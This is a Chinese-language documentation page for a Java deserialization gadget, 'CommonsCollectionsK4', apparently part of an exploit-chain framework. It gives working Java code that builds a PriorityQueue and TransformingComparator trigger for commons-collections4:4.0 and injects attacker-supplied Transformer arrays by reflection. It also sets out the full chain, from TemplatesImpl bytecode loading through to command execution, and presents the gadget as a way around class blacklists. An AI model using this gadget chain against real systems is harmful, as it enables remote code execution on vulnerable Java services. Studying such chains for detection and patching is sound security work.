- 类别:javanative 别名:K4 优先级:10
- 作者:—
- 依赖:
org.apache.commons:commons-collections4:4.0
K3 在 commons-collections4 上的等价实现:用 PriorityQueue + TransformingComparator + ChainedTransformer 作为触发外壳,并把下游产出的 Transformer[] 注入 ChainedTransformer.iTransformers。同样不自带 InvokerTransformer,把实际转换逻辑交给下游 Transformer 数组,适用于 CC4 环境下需要绕过类黑名单或做多步链式转换的场景。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口。 - 衔接
nextTags:TransformerChains—— 下游产出Transformer[](如 TransformerWithTemplatesImpl),注入本 gadget 的链式转换器。 excludes:无。
public Queue<Object> getObject(Object obj) throws Exception {
ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer((Object)1)});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<Object>)new TransformingComparator((Transformer)transformerChain));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformerChain, "iTransformers", obj);
return queue;
}逐段解释:
new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })—— 先用一个无害的ConstantTransformer(1)占位,保证queue.add阶段即使触发compare/transform也只返回常量1,不会执行攻击逻辑。new PriorityQueue(2, new TransformingComparator(transformerChain))—— 用TransformingComparator作比较器;PriorityQueue.readObject反序列化后会heapify → siftDown调用比较器的compare,这是 CC4 下的触发点(与 CommonsBeanutils1 用BeanComparator的思路一致)。queue.add(1)两次 —— 放入两个元素使堆在反序列化时确实发生下沉比较,从而触发compare。Reflections.setFieldValue(transformerChain, "iTransformers", obj)—— 关键点:把占位数组替换为下游产出的真正Transformer[](obj)。反序列化触发compare时,ChainedTransformer.transform会依次执行注入数组里的每个 Transformer。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.CC_VERSION, ContextTag.CC_VERSION_4);
return this.getObject(chain.doCreate(context));
}- 声明
CC_VERSION_4,把内层对象(应为Transformer[])交给getObject。与 K3 一样,不读取方法名,转换逻辑全由下游数组决定。
触发链(反序列化时):
PriorityQueue.readObject → heapify → siftDown → TransformingComparator.compare → ChainedTransformer.transform → 依次调用注入的 iTransformers[i].transform(...)(链式)。
本类无 @Param。攻击载荷(Transformer[])由下游 TransformerChains gadget 提供并经 iTransformers 注入。
- 适用
commons-collections4:4.0(TransformingComparator在 4.0 可序列化,是本链成立前提;后续版本需评估校验变化)。 - 与 K3 的差异仅在触发容器:CC3 用
LazyMap的HashSet触发路径,CC4 改用PriorityQueue+ 比较器路径。 - 与 K2 的差异:K2 内建
InvokerTransformer触发单个无参方法;K4 内建空ChainedTransformer,逻辑由下游 Transformer 数组决定,更适合链式/绕黑名单需求。
- K4链(
[CommonsCollectionsK4, TransformerWithTemplatesImpl, TemplatesImpl, BytecodeConvert, Exec])
- 下游(
nextTags=TransformerChains):TransformerWithTemplatesImpl 及TransformerWith*系列。 - 同族:CommonsCollectionsK3(CC3.2.1 等价实现)、CommonsCollectionsK2(CC4.0 的
InvokerTransformer单方法版)。 - 触发原理相近:CommonsBeanutils1(同样借
PriorityQueue+ 比较器触发)。